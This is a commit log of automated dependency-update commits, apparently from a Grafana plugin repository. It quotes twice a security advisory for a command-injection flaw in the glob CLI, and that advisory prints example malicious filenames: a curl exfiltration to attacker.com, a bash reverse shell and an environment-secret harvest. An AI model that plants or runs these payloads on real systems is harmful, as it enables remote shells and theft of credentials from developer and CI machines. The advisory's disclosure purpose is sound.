<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4xMi4xIiwidXBkYXRlZEluVmVyIjoiNDIuMTIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsidXBkYXRlLXBhdGNoIl19-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2025-11-28 13:29:20 +01:00
renovate-sh-app[bot]
46a0157d70 fix(deps): pin dependencies (#2104)
This PR contains the following updates:

| Package | Type | Update | Change | Age | Confidence |
|---|---|---|---|---|---|
|
[@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react)
([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react))
| devDependencies | pin | [`^18.2.25` ->
`18.3.24`](https://renovatebot.com/diffs/npm/@types%2freact/18.3.24/18.3.24)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/18.3.24?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/18.3.24/18.3.24?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [react](https://react.dev/)
([source](https://redirect.github.com/facebook/react/tree/HEAD/packages/react))
| dependencies | minor | [`18.2.0` ->
`18.3.1`](https://renovatebot.com/diffs/npm/react/18.2.0/18.3.1) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/react/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react/18.2.0/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
| [react-dom](https://react.dev/)
([source](https://redirect.github.com/facebook/react/tree/HEAD/packages/react-dom))
| dependencies | minor | [`18.2.0` ->
`18.3.1`](https://renovatebot.com/diffs/npm/react-dom/18.2.0/18.3.1) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/react-dom/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-dom/18.2.0/18.3.1?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

Add the preset `:preserveSemverRanges` to your config if you don't want
to pin your dependencies.

---

### Release Notes

<details>
<summary>facebook/react (react)</summary>

###
[`v18.3.1`](https://redirect.github.com/facebook/react/blob/HEAD/CHANGELOG.md#1831-April-26-2024)

[Compare
Source](https://redirect.github.com/facebook/react/compare/v18.3.0...v18.3.1)

- Export `act` from `react`
[f1338f](f1338f8080)

###
[`v18.3.0`](https://redirect.github.com/facebook/react/blob/HEAD/CHANGELOG.md#1830-April-25-2024)

[Compare
Source](https://redirect.github.com/facebook/react/compare/v18.2.0...v18.3.0)

This release is identical to 18.2 but adds warnings for deprecated APIs
and other changes that are needed for React 19.

Read the [React 19 Upgrade
Guide](https://react.dev/blog/2024/04/25/react-19-upgrade-guide) for
more info.

##### React

- Allow writing to `this.refs` to support string ref codemod
[909071](9090712fd3)
- Warn for deprecated `findDOMNode` outside StrictMode
[c3b283](c3b2839641)
- Warn for deprecated `test-utils` methods
[d4ea75](d4ea75dc42)
- Warn for deprecated Legacy Context outside StrictMode
[415ee0](415ee0e6ea)
- Warn for deprecated string refs outside StrictMode
[#&#8203;25383](https://redirect.github.com/facebook/react/pull/25383)
- Warn for deprecated `defaultProps` for function components
[#&#8203;25699](https://redirect.github.com/facebook/react/pull/25699)
- Warn when spreading `key`
[#&#8203;25697](https://redirect.github.com/facebook/react/pull/25697)
- Warn when using `act` from `test-utils`
[d4ea75](d4ea75dc42)

##### React DOM

- Warn for deprecated `unmountComponentAtNode`
[8a015b](8a015b68cc)
- Warn for deprecated `renderToStaticNodeStream`
[#&#8203;28874](https://redirect.github.com/facebook/react/pull/28874)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzguNSIsInVwZGF0ZWRJblZlciI6IjQxLjEzOC41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJ1cGRhdGUtbWlub3IiXX0=-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2025-11-27 14:32:48 +01:00
renovate-sh-app[bot]
5790b9a68d chore(deps): update dependency glob to v11 [security] (#2122)
This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [glob](https://redirect.github.com/isaacs/node-glob) | [`^10.2.7` ->
`^11.0.0`](https://renovatebot.com/diffs/npm/glob/10.4.5/11.1.0) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/glob/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/glob/10.4.5/11.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-64756](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)

### Summary

The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.

### Details

**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:

```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```

**Technical Flow:**
1. User runs `glob -c <command> <pattern>` 
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)

**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content

### PoC

**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'
```

**Trigger Vulnerability:**
```bash

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```

**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges

**Advanced Payload Examples:**

**Data Exfiltration:**
```bash

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```

**Reverse Shell:**
```bash

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```

**Environment Variable Harvesting:**
```bash

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```

### Impact

**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network

**Real-World Attack Scenarios:**

**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering

**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services

**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement

**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems

**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform

### Affected Products

- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.3.7 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0

**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable

### Remediation

- Upgrade to `glob@11.1.0` or higher, as soon as possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but ensure that no untrusted contents can possibly be
encountered in the file path results.

---

### glob CLI: Command injection via -c/--cmd executes matches with
shell:true
[CVE-2025-64756](https://nvd.nist.gov/vuln/detail/CVE-2025-64756) /
[GHSA-5j98-mcp5-4vw2](https://redirect.github.com/advisories/GHSA-5j98-mcp5-4vw2)

<details>
<summary>More information</summary>

#### Details
##### Summary

The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.

##### Details

**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:

```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```

**Technical Flow:**
1. User runs `glob -c <command> <pattern>` 
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands

**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)

**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content

##### PoC

**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory

##### Create file with command injection payload in filename
touch '$(touch injected_poc)'
```

**Trigger Vulnerability:**
```bash

##### Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```

**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges

**Advanced Payload Examples:**

**Data Exfiltration:**
```bash

##### Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```

**Reverse Shell:**
```bash

##### Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```

**Environment Variable Harvesting:**
```bash

##### Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```

##### Impact

**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network

**Real-World Attack Scenarios:**

**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering

**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services

**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement

**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems

**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform

##### Affected Products

- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.3.7 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.3.7 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0

**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable

##### Remediation

- Upgrade to `glob@11.1.0` or higher, as soon as possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but ensure that no untrusted contents can possibly be
encountered in the file path results.

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H`

#### References
-
[https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)
-
[https://nvd.nist.gov/vuln/detail/CVE-2025-64756](https://nvd.nist.gov/vuln/detail/CVE-2025-64756)
-
[47473c046b)
-
[https://github.com/isaacs/node-glob](https://redirect.github.com/isaacs/node-glob)

This data is provided by
[OSV](https://osv.dev/vulnerability/GHSA-5j98-mcp5-4vw2) and the [GitHub
Advisory Database](https://redirect.github.com/github/advisory-database)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>isaacs/node-glob (glob)</summary>

###
[`v11.1.0`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.3...v11.1.0)

###
[`v11.0.3`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.2...v11.0.3)

###
[`v11.0.2`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.1...v11.0.2)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.1...v11.0.2)

###
[`v11.0.1`](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v11.0.0...v11.0.1)

###
[`v11.0.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v11.0.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.5.0...v11.0.0)

###
[`v10.5.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0)

[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzguNSIsInVwZGF0ZWRJblZlciI6IjQxLjEzOC41IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJhdXRvbWVyZ2Utc2VjdXJpdHktdXBkYXRlIiwic2V2ZXJpdHk6SElHSCJdfQ==-->

Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
2025-11-18 16:06:17 +01:00
github-actions[bot]
b13d567eee chore: bump @grafana/create-plugin configuration to 5.26.4 (#2082)
Bumps
[`@grafana/create-plugin`](https://github.com/grafana/plugin-tools/tree/main/packages/create-plugin)
configuration from 4.2.1 to 5.26.4.

**Notes for reviewer:**
This is an auto-generated PR which ran `@grafana/create-plugin update`.
Please consult the create-plugin
[CHANGELOG.md](https://github.com/grafana/plugin-tools/blob/main/packages/create-plugin/CHANGELOG.md)
to understand what may have changed.
Please review the changes thoroughly before merging.

---------

Co-authored-by: grafana-plugins-platform-bot[bot] <144369747+grafana-plugins-platform-bot[bot]@users.noreply.github.com>
Co-authored-by: Zoltán Bedi <zoltan.bedi@gmail.com>
2025-09-17 20:33:12 +02:00
dependabot[bot]
5dec534e2a Bump form-data from 4.0.0 to 4.0.4 (#2059)
Bumps [form-data](https://github.com/form-data/form-data) from 4.0.0 to
4.0.4.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/form-data/form-data/releases">form-data's
releases</a>.</em></p>
<blockquote>
<h2>v4.0.1</h2>
<h3>Fixes</h3>
<ul>
<li>npmignore temporary build files (<a
href="https://redirect.github.com/form-data/form-data/issues/532">#532</a>)</li>
<li>move util.isArray to Array.isArray (<a
href="https://redirect.github.com/form-data/form-data/issues/564">#564</a>)</li>
</ul>
<h3>Tests</h3>
<ul>
<li>migrate from travis to GHA</li>
</ul>
</blockquote>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/form-data/form-data/blob/master/CHANGELOG.md">form-data's
changelog</a>.</em></p>
<blockquote>
<h2><a
href="https://github.com/form-data/form-data/compare/v4.0.3...v4.0.4">v4.0.4</a>
- 2025-07-16</h2>
<h3>Commits</h3>
<ul>
<li>[meta] add <code>auto-changelog</code> <a
href="811f68282f"><code>811f682</code></a></li>
<li>[Tests] handle predict-v8-randomness failures in node &lt; 17 and
node &gt; 23 <a
href="1d11a76434"><code>1d11a76</code></a></li>
<li>[Fix] Switch to using <code>crypto</code> random for boundary values
<a
href="3d1723080e"><code>3d17230</code></a></li>
<li>[Tests] fix linting errors <a
href="5e340800b5"><code>5e34080</code></a></li>
<li>[meta] actually ensure the readme backup isn’t published <a
href="316c82ba93"><code>316c82b</code></a></li>
<li>[Dev Deps] update <code>@ljharb/eslint-config</code> <a
href="58c25d7640"><code>58c25d7</code></a></li>
<li>[meta] fix readme capitalization <a
href="2300ca1959"><code>2300ca1</code></a></li>
</ul>
<h2><a
href="https://github.com/form-data/form-data/compare/v4.0.2...v4.0.3">v4.0.3</a>
- 2025-06-05</h2>
<h3>Fixed</h3>
<ul>
<li>[Fix] <code>append</code>: avoid a crash on nullish values <a
href="https://redirect.github.com/form-data/form-data/issues/577"><code>[#577](https://github.com/form-data/form-data/issues/577)</code></a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[eslint] use a shared config <a
href="426ba9ac44"><code>426ba9a</code></a></li>
<li>[eslint] fix some spacing issues <a
href="20941917f0"><code>2094191</code></a></li>
<li>[Refactor] use <code>hasown</code> <a
href="81ab41b46f"><code>81ab41b</code></a></li>
<li>[Fix] validate boundary type in <code>setBoundary()</code> method <a
href="8d8e469309"><code>8d8e469</code></a></li>
<li>[Tests] add tests to check the behavior of <code>getBoundary</code>
with non-strings <a
href="837b8a1f75"><code>837b8a1</code></a></li>
<li>[Dev Deps] remove unused deps <a
href="870e4e6659"><code>870e4e6</code></a></li>
<li>[meta] remove local commit hooks <a
href="e6e83ccb54"><code>e6e83cc</code></a></li>
<li>[Dev Deps] update <code>eslint</code> <a
href="4066fd6f65"><code>4066fd6</code></a></li>
<li>[meta] fix scripts to use prepublishOnly <a
href="c4bbb13c0e"><code>c4bbb13</code></a></li>
</ul>
<h2><a
href="https://github.com/form-data/form-data/compare/v4.0.1...v4.0.2">v4.0.2</a>
- 2025-02-14</h2>
<h3>Merged</h3>
<ul>
<li>[Fix] set <code>Symbol.toStringTag</code> when available <a
href="https://redirect.github.com/form-data/form-data/pull/573"><code>[#573](https://github.com/form-data/form-data/issues/573)</code></a></li>
<li>[Fix] set <code>Symbol.toStringTag</code> when available <a
href="https://redirect.github.com/form-data/form-data/pull/573"><code>[#573](https://github.com/form-data/form-data/issues/573)</code></a></li>
<li>fix (npmignore): ignore temporary build files <a
href="https://redirect.github.com/form-data/form-data/pull/532"><code>[#532](https://github.com/form-data/form-data/issues/532)</code></a></li>
<li>fix (npmignore): ignore temporary build files <a
href="https://redirect.github.com/form-data/form-data/pull/532"><code>[#532](https://github.com/form-data/form-data/issues/532)</code></a></li>
</ul>
<h3>Fixed</h3>
<ul>
<li>[Fix] set <code>Symbol.toStringTag</code> when available (<a
href="https://redirect.github.com/form-data/form-data/issues/573">#573</a>)
<a
href="https://redirect.github.com/form-data/form-data/issues/396"><code>[#396](https://github.com/form-data/form-data/issues/396)</code></a></li>
<li>[Fix] set <code>Symbol.toStringTag</code> when available (<a
href="https://redirect.github.com/form-data/form-data/issues/573">#573</a>)
<a
href="https://redirect.github.com/form-data/form-data/issues/396"><code>[#396](https://github.com/form-data/form-data/issues/396)</code></a></li>
<li>[Fix] set <code>Symbol.toStringTag</code> when available <a
href="https://redirect.github.com/form-data/form-data/issues/396"><code>[#396](https://github.com/form-data/form-data/issues/396)</code></a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>Merge tags v2.5.3 and v3.0.3 <a
href="92613b9208"><code>92613b9</code></a></li>
<li>[Tests] migrate from travis to GHA <a
href="806eda7774"><code>806eda7</code></a></li>
<li>[Tests] migrate from travis to GHA <a
href="8fdb3bc6b5"><code>8fdb3bc</code></a></li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="41996f5ac7"><code>41996f5</code></a>
v4.0.4</li>
<li><a
href="316c82ba93"><code>316c82b</code></a>
[meta] actually ensure the readme backup isn’t published</li>
<li><a
href="2300ca1959"><code>2300ca1</code></a>
[meta] fix readme capitalization</li>
<li><a
href="811f68282f"><code>811f682</code></a>
[meta] add <code>auto-changelog</code></li>
<li><a
href="5e340800b5"><code>5e34080</code></a>
[Tests] fix linting errors</li>
<li><a
href="1d11a76434"><code>1d11a76</code></a>
[Tests] handle predict-v8-randomness failures in node &lt; 17 and node
&gt; 23</li>
<li><a
href="58c25d7640"><code>58c25d7</code></a>
[Dev Deps] update <code>@ljharb/eslint-config</code></li>
<li><a
href="3d1723080e"><code>3d17230</code></a>
[Fix] Switch to using <code>crypto</code> random for boundary
values</li>
<li><a
href="d8d67dc8ac"><code>d8d67dc</code></a>
v4.0.3</li>
<li><a
href="e6e83ccb54"><code>e6e83cc</code></a>
[meta] remove local commit hooks</li>
<li>Additional commits viewable in <a
href="https://github.com/form-data/form-data/compare/v4.0.0...v4.0.4">compare
view</a></li>
</ul>
</details>
<details>
<summary>Maintainer changes</summary>
<p>This version was pushed to npm by <a
href="https://www.npmjs.com/~ljharb">ljharb</a>, a new releaser for
form-data since your current version.</p>
</details>
<br />


[![Dependabot compatibility
score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=form-data&package-manager=npm_and_yarn&previous-version=4.0.0&new-version=4.0.4)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)

Dependabot will resolve any conflicts with this PR as long as you don't
alter it yourself. You can also trigger a rebase manually by commenting
`@dependabot rebase`.

[//]: # (dependabot-automerge-start)
[//]: # (dependabot-automerge-end)

---

<details>
<summary>Dependabot commands and options</summary>
<br />

You can trigger Dependabot actions by commenting on this PR:
- `@dependabot rebase` will rebase this PR
- `@dependabot recreate` will recreate this PR, overwriting any edits
that have been made to it
- `@dependabot merge` will merge this PR after your CI passes on it
- `@dependabot squash and merge` will squash and merge this PR after
your CI passes on it
- `@dependabot cancel merge` will cancel a previously requested merge
and block automerging
- `@dependabot reopen` will reopen this PR if it is closed
- `@dependabot close` will close this PR and stop Dependabot recreating
it. You can achieve the same result by closing it manually
- `@dependabot show <dependency name> ignore conditions` will show all
of the ignore conditions of the specified dependency
- `@dependabot ignore this major version` will close this PR and stop
Dependabot creating any more for this major version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this minor version` will close this PR and stop
Dependabot creating any more for this minor version (unless you reopen
the PR or upgrade to it yourself)
- `@dependabot ignore this dependency` will close this PR and stop
Dependabot creating any more for this dependency (unless you reopen the
PR or upgrade to it yourself)
You can disable automated security fix PRs for this repo from the
[Security Alerts
page](https://github.com/grafana/grafana-zabbix/network/alerts).

</details>

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2025-07-22 09:00:24 +02:00
Zoltán Bedi
0594cc8ab0 Update prismjs dependency to version 1.30.0 (#1999) 2025-03-21 19:08:35 +01:00